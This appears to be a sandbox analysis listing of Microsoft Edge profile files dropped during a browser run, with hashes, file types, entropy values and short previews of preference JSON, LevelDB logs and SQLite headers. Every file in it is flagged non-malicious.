C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2af7298d-39fb-491d-b3f9-0a93800e3a22.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554709631106472
Encrypted:	false
SSDEEP:	768:r5WoRL7pLGLpcGWPZRfx28F1+UoAYDCx9Tuqh0VfUC9xbog/OVjBfW3rwBpqceqB:r5WoRdcpcGWPZRfx2u1ja+hWkBpqcb6m
MD5:	E221046859ABA1EFA75260A972E3AC9E
SHA1:	55E52EF13A2A907141908FC1D97D527005F5B1D3
SHA-256:	A50AC8C1E649E723284705844EDB38EA26CF5D1169F2FCB84BAF99297947ECC5
SHA-512:	62CE4044D578424533674D5C33D1987BF49E50F6059AE76AC44F0F90E23B2CF9B2A90C1A2F8B19E0BB25DDF4082312F2CBB8A88258A69B806C36C00917438B31
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375862601151843","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375862601151843","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\33b44271-e709-4100-8b0d-82c551fb4b85.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\577b35b9-bcb7-4d88-aa56-097cbeb1076d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16734), with no line terminators
Category:	dropped
Size (bytes):	16736
Entropy (8bit):	5.440333163442032
Encrypted:	false
SSDEEP:	384:styPGQSu47sKP9fhtCjnAbGHQw16W5waTYH:swOXumP9fBbGw+OaTYH
MD5:	9D9FF00EF5D0733B08B40AE108AF40D7
SHA1:	E9EE4BE43EF72DD041E3AB4197A488DF6C7050F1
SHA-256:	DBD5383E9B497B4EAA83FCCCF81E42B980807CD656A861CB583B511C3F69A38A
SHA-512:	A4522999FC22A9260A4E227B01D3FDD834EDF53A81ADA07CE5B4C0702ACFFA366EF76F2E9197F7150911F1761CD70014A3830BEC267697FC9C2A5B5A493AFDE4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375862601674345","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\662a2f20-c13b-4272-834a-98dac141cb11.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16899), with no line terminators
Category:	dropped
Size (bytes):	16901
Entropy (8bit):	5.4371574770276405
Encrypted:	false
SSDEEP:	384:styPGQSu47sKP9fhtCjnAbGHQw16WmtHlaTYH:swOXumP9fBbGw+y3aTYH
MD5:	3E08C2ED4C143D09D51985DA4A4B39FA
SHA1:	9AFDBEDE5E4767EAA34839CF259498F304B1DFB8
SHA-256:	6DBBEC279E45AB3A034DADA6FF4C653F3170C1573231FA7C58DFCD9E81067111
SHA-512:	12D5B1FA0A8397CB8ED0783D76833ECB0576F8650DC8E3D2E0DCCFB34050B5B5D7D8B4456CA3F96FE11748ED78F7DB72B29E9D3142B40635D8D21591AD30DC5B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375862601674345","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7721995e-f0d4-4d13-9e41-e9b7e093135f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.179802188616031
Encrypted:	false
SSDEEP:	6:HU4nFD1923oH+Tcwtp3hBtB2KLlVU4zP9Oq2P923oH+Tcwtp3hBWsIFUv:lFmYebp3dFL/Ov4Yebp3eFUv
MD5:	65D976201F490F64BEC5AF2DA09228B4
SHA1:	87CAFAFE128CC150E902749A35B64226FE4314C7
SHA-256:	8518E032C7DD71C931B198F48E372FCCC198A8F0024F748D0269B8791B8CB1D0
SHA-512:	C1119B6D6A5341BBEFC59B89A6AE0E2D5203A8BC519EE3344EA95AC4BD4A9F97DC0FB2D3ED30F124F5F297A9B5B3F9570A39E98AADB866DC4919CE65AAAEF138
Malicious:	false
Preview:	2024/11/12-00:23:26.186 21c0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/12-00:23:26.210 21c0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222877262483923
Encrypted:	false
SSDEEP:	24576:v+/PN8FvfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8lfx2mjF
MD5:	3DC7FE96F6ABBBDDE38F4BCB07EC6A51
SHA1:	67B3AF1E874116519664EA6D908235B8558541A4
SHA-256:	5CFF8564D3453AE97512E3EE1C7365A5ACD8116DC9C2091ACA5F755671C0F2FF
SHA-512:	8202147B67DA3A032957411CA5E06989DD5146E8D3FF9FB225D09C6316FDF5D73B6AE406DBBC01C75A1CC3807A8A20DC256F804571AF8F93A4748888F517F56E
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.068704887635678
Encrypted:	false
SSDEEP:	6:HU4mIq2P923oH+Tcwt9Eh1tIFUt8YU4LZmw+YU4hu6kwO923oH+Tcwt9Eh15LJ:9v4Yeb9Eh16FUt8+/+w15LYeb9Eh1VJ
MD5:	255BB3D24CA694809D6DF2E50DCC142A
SHA1:	3019C074AB87CEA590C75F66649BD95EFDE94CE8
SHA-256:	A1E5248B570F46CFE4FA6A7B0598703B10E584C959CEF691A9D381013E3F3790
SHA-512:	336C0379087D31AB5588DE63EE9B899E0341CD57DD6964DBED9FEABC83FBA2A9AE5D53453CCB8421E616185CDCA6B7E47B44ABFB07F3CE9EA1F245503631C94D
Malicious:	false
Preview:	2024/11/12-00:23:26.064 2370 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/12-00:23:26.067 2370 Recovering log #3.2024/11/12-00:23:26.410 2370 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.068704887635678
Encrypted:	false
SSDEEP:	6:HU4mIq2P923oH+Tcwt9Eh1tIFUt8YU4LZmw+YU4hu6kwO923oH+Tcwt9Eh15LJ:9v4Yeb9Eh16FUt8+/+w15LYeb9Eh1VJ
MD5:	255BB3D24CA694809D6DF2E50DCC142A
SHA1:	3019C074AB87CEA590C75F66649BD95EFDE94CE8
SHA-256:	A1E5248B570F46CFE4FA6A7B0598703B10E584C959CEF691A9D381013E3F3790
SHA-512:	336C0379087D31AB5588DE63EE9B899E0341CD57DD6964DBED9FEABC83FBA2A9AE5D53453CCB8421E616185CDCA6B7E47B44ABFB07F3CE9EA1F245503631C94D
Malicious:	false
Preview:	2024/11/12-00:23:26.064 2370 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/12-00:23:26.067 2370 Recovering log #3.2024/11/12-00:23:26.410 2370 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4624449321161468
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuSk:TouQq3qh7z3bY2LNW9WMcUvBuR
MD5:	5455F2A14DE5A569CBBF5B3B2056305C
SHA1:	7E154052BBECECBDFF690B372552DA4BF5E9354A
SHA-256:	53837EF6A4FBF837D7CAD4A89DF57F10B267E57DE34B975AEF5C7A9EDB1C23C9
SHA-512:	F8AD01EB45BEF9EB1283E7431615E734388B81439FE81AB45FC26A07798A38B369DB1E1B45E7978EA2703E580115C4B0C854F7C9649633B8738A524C0B5FCBDE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.106780707052249
Encrypted:	false
SSDEEP:	6:HU4N/LIq2P923oH+TcwtnG2tMsIFUt8YU4NuNZmw+YU4Nu/kwO923oH+TcwtnG2b:3Iv4Yebn9GFUt8lN/+l/5LYebn95J
MD5:	11122D431E7CC3378011DAE6F44475B8
SHA1:	9B6D1FE0CFBAE6310B2263B363FFB0E86ED9E970
SHA-256:	6C4044B1016D3D485320BCB10BE50FDAAEE3578CFE52E9CD115B074BEC56DA08
SHA-512:	52E0B7AE38EC554473F406624E72F363C65B380CB802BFAA08A9859CBE6CEB49460231B68D58EF63474CA9516159BC1B2B93B9F35E16EEE854149CC2C14D80BB
Malicious:	false
Preview:	2024/11/12-00:23:21.183 1e24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/12-00:23:21.184 1e24 Recovering log #3.2024/11/12-00:23:21.184 1e24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.106780707052249
Encrypted:	false
SSDEEP:	6:HU4N/LIq2P923oH+TcwtnG2tMsIFUt8YU4NuNZmw+YU4Nu/kwO923oH+TcwtnG2b:3Iv4Yebn9GFUt8lN/+l/5LYebn95J
MD5:	11122D431E7CC3378011DAE6F44475B8
SHA1:	9B6D1FE0CFBAE6310B2263B363FFB0E86ED9E970
SHA-256:	6C4044B1016D3D485320BCB10BE50FDAAEE3578CFE52E9CD115B074BEC56DA08
SHA-512:	52E0B7AE38EC554473F406624E72F363C65B380CB802BFAA08A9859CBE6CEB49460231B68D58EF63474CA9516159BC1B2B93B9F35E16EEE854149CC2C14D80BB
Malicious:	false
Preview:	2024/11/12-00:23:21.183 1e24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/12-00:23:21.184 1e24 Recovering log #3.2024/11/12-00:23:21.184 1e24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6128633519039416
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jVr/pj/mL:TO8D4jJ/6Up+hhk
MD5:	78709ADF3AF5A484196A7442921486EA
SHA1:	1F62A428C51D27B11DD41ACA991D4F9A77D85FE1
SHA-256:	96FF19976CFEAEEAC12BA37A02D6504BB3B58F8109BAA50FDDAF1B9907CA2132
SHA-512:	C7991AA46585C0059CA65F67C1EF140E7F228CC78268A4CF75B4F285057367EE863D116CDEA088AA989C1043A36D5A12750DFA8D0D9C6ADDF78ABEED5C8DE069
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354117665587704
Encrypted:	false
SSDEEP:	6144:uA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:uFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	C92B415577CE4CC69E8DF8162590946B
SHA1:	A02879A793F795258839E88510ACD07CC0C01213
SHA-256:	B945519503274DAE80832E5B6FC7FF84ACB6D04DB5EB5BAD843C6FA6BE931A05
SHA-512:	82B9095C43F63BE713FFDB1188815C4F3E23EB399E433D39A20610B6E36EB25DD1E21624C1FAC69EACA7021E0DD14A9BF45C1DDE11C56BE5875C6DB1FC1C8D9A
Malicious:	false
Preview:	...m.................DB_VERSION.1>..uq...............&QUERY_TIMESTAMP:domains_config_gz2...13375862607104434..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.124401184301681
Encrypted:	false
SSDEEP:	6:HU4D1923oH+Tcwtk2WwnvB2KLlVU4fDM+q2P923oH+Tcwtk2WwnvIFUv:AYebkxwnvFLxDM+v4YebkxwnQFUv
MD5:	F04907B673A5A05FB451682660CA49E9
SHA1:	4F31404AFCB8048AA24BC4DA1EB4E8CC9E66D26A
SHA-256:	0BBB2B9D0FAFB5E01BA4D67882C5CE11803027877364B14936A6EEEC7C645A86
SHA-512:	3C583303A3D35E54A6924868F2606061561F922FB38E309B7C77F279DA421B5A0FB0723FA838AD63BFDB05096745D1E8147F4C416B056A26FA354B23633B4A05
Malicious:	false
Preview:	2024/11/12-00:23:26.081 238c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/12-00:23:26.200 238c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

